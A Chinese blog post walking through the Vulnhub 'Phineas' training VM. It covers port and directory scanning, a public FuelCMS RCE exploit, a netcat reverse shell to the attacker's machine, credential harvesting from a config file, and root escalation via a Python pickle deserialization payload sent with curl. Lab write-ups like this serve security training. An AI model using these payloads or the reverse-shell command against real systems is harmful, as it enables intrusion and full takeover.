freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Vulnhub靶场之Phineas
Raven404 2025-02-08 17:56:12 62943
所属地 北京

靶场:https://www.vulnhub.com/entry/phineas-1,674/

安装:下载之后导入到vmware,网络模式选择nat

攻击机:kali

一、信息搜集

arp-scan -l主机ip探测

1738896472_67a57458be98db92d7654.png!small

192.168.203.134是新增加的ip,也就是靶机ip

nmap扫描

nmap --min-rate 10000 -p- 192.168.203.134  --端口扫描

1738896605_67a574dda7890f9f9707f.png!small

nmap -sT -A -sV -O -sC -p 22,80,111,3306 192.168.203.134 -oA ./nmap/detail  --端口详细信息探测

1738896707_67a57543925bb4d3b2a72.png!small

浏览器访问80端口,是apache的默认页面

1738896761_67a57579c1d7896e4db96.png!small

基于根路径进行目录扫描

gobuster dir -w /root/Desktop/Pentest/fuzzDicts/directoryDicts/en_dirctories_all.txt -u http://192.168.203.134/ -t 5

1738897622_67a578d6bcb5021feb82c.png!small

就扫出来一个/structure,访问看看

1738897115_67a576dbdce800eb8934d.png!small

看了下源码也没什么有用的东西,还得继续爆破

gobuster dir -w /root/Desktop/Pentest/fuzzDicts/directoryDicts/en_dirctories_all.txt -u http://192.168.203.134/structure/ -t 5

1738897689_67a57919c17eccca23ec9.png!small

访问下robots.txt

1738897750_67a57956d6cbee2677ad0.png!small

访问下这个路径,会302跳转到/structure/fuel/start响应404。按理说robots.txt中的目录应该不会有404的情况,那么问题很有可能还是出在访问路径上。

先放下这个去看看/assets目录

1738898521_67a57c59e2f20ec667054.png!small

1738898521_67a57c59e5518c2312b33.png!small

挨个看了一遍没发现有用的东西,就一个index.html无法访问。还是接着去看路径吧......

之前的目录爆破都是基于路径的,试下敏感文件爆破

gobuster dir -w /root/Desktop/Pentest/fuzzDicts/directoryDicts/fileName10000.txt -u http://192.168.203.134/structure/ -t 5

1738898676_67a57cf4de251da4b0d86.png!small

多了index.php和README.md两个文件,README.md不用多说通常都是描述文件,看一下

1738898847_67a57d9fb718da7c8e75e.png!small

通过阅读可以得知两个主要信息:

1.fuel是一个cms

2.网站使用fuel应该是小于1.4的版本

那么利用思路就有了,从网上搜一下cms相关的漏洞,最好是rce

直接google搜fuelcms就能看到

1738899208_67a57f08954125e6ff812.png!small

1738899249_67a57f3188e91693289d6.png!small

可以看到漏洞可利用版本Version: <= 1.4.1

二、RCE漏洞利用

将exp保存为py文件,分析exp代码可以知道漏洞利用需要一个url,结合上面敏感文件爆破时得到的index.php,就可以拿到一个/structure/index.php,访问这个路径和直接访问/structure/页面是一样的。

执行exp

python exp.py -u http://192.168.203.134/structure/index.php

1738899663_67a580cfa99b89ef39395.png!small

没毛病,那就直接反弹吧

1738899847_67a58187b47dbed633b81.png!smallGG,urlencode试下

nc%20192.168.203.135%208888%20-e%20%2Fbin%2Fsh

1738899947_67a581eb97194a4eee4af.png!small

还是不行,换一个反弹端口尝试,将8888改成443

1738900048_67a582503a55ff4de7776.png!small

成功,不需要urlencode

1738900103_67a58287737d4c98e543d.png!small

想用python美化下交互,但是失败了不知道什么原因。凑合用吧.....

进入到fuel目录中翻下敏感文件,最终在/var/www/html/structure/fuel/application/config/database.php中找到了数据库的配置信息

1738906965_67a59d551d88198a4464c.png!small?1738906965668

尝试使用ssh登录anna账户

1738907119_67a59def71062ed00b8a6.png!small?1738907119974

三、反序列化提权

进入用户目录/home/anna

1738907284_67a59e94573304012be81.png!small?1738907284757

Desktop目录中有user.txt

执行sudo -l看看有没有可利用的

1738908662_67a5a3f62dea84d8e889c.png!small?1738908662514

发现用户目录下的web目录有一个flask的应用,而且有root权限,那十有八九提权点就在这里

1738908087_67a5a1b7e3109a8d400e6.png!small?1738908088508

看下源码

1738907424_67a59f20c69cf522c8c7a.png!small?1738907425505

很简单,/heaven接收一个awesome参数的post请求,再使用pickle处理参数。

用的应该是flask的默认端口5000,查看下5000端口是否在用,之前用nmap扫描并没有扫描到

netstat -anp|grep 5000

1738907516_67a59f7c3f3516a40844b.png!small?1738907516712

端口在用,但是扫描不到,那么可以推测从外部无法访问,需要转发到攻击机或者直接在靶机请求。

通过上面的源码可以到应用比较简单,就不转发了,直接在靶机上curl一下

1738909050_67a5a57a443a0ab1817f4.png!small?1738909050748

服务可以访问,那剩下就是怎么利用的问题了

构造请求参数,使用python3版本,先确定下权限

import pickle
import os
import base64


class genpoc():
  def __reduce__(self):
  s = """whoami > 2.txt"""
  return os.system, (s,)
e = genpoc()
poc = pickle.dumps(e)
print(poc)
poc_base64 = base64.urlsafe_b64encode(poc)
print(poc_base64)

1738909639_67a5a7c74ac90e7e0ab03.png!small

下面的就是经过序列化并base64编码后的请求参数,构造curl请求

curl http://127.0.0.1:5000/heaven -d "awesome=gASVKQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjA53aG9hbWkgPiAyLnR4dJSFlFKULg=="

在靶机上执行,会在当前目录下看到2.txt

1738909777_67a5a85185819097eb204.png!small?1738909777793

成功了,接下来就是修改代码,把s改成反弹shell的命令,重新生成payload再发送请求

1738910107_67a5a99bb638f688f6077.png!small?1738910110812

python3 -c "import pty;pty.spawn('/bin/bash')"美化一下(之前不能执行应该是权限问题)

1738910223_67a5aa0f6ae7e536996f0.png!small?1738910224274

四、总结

1.靶场本身不难,但是目录爆破如果字典不行就很难突破,平时还要留心整理字典

2.反弹shell最好使用通常不会被禁的端口,如80,443

参考文章

https://xz.aliyun.com/news/7032

# 漏洞 # 渗透测试 # web安全 # CTF
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 Raven404 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Raven404 LV.2
人如果没有梦想和咸鱼有什么区别?
  • 4 文章数
  • 5 关注者
对于某前端数据加密方式的逆向过程
2025-02-15
一次不成功的菠菜渗透和一些琐事
2025-01-11
《Metasploit渗透测试魔鬼训练营》阅读笔记(一)
2025-01-11
文章目录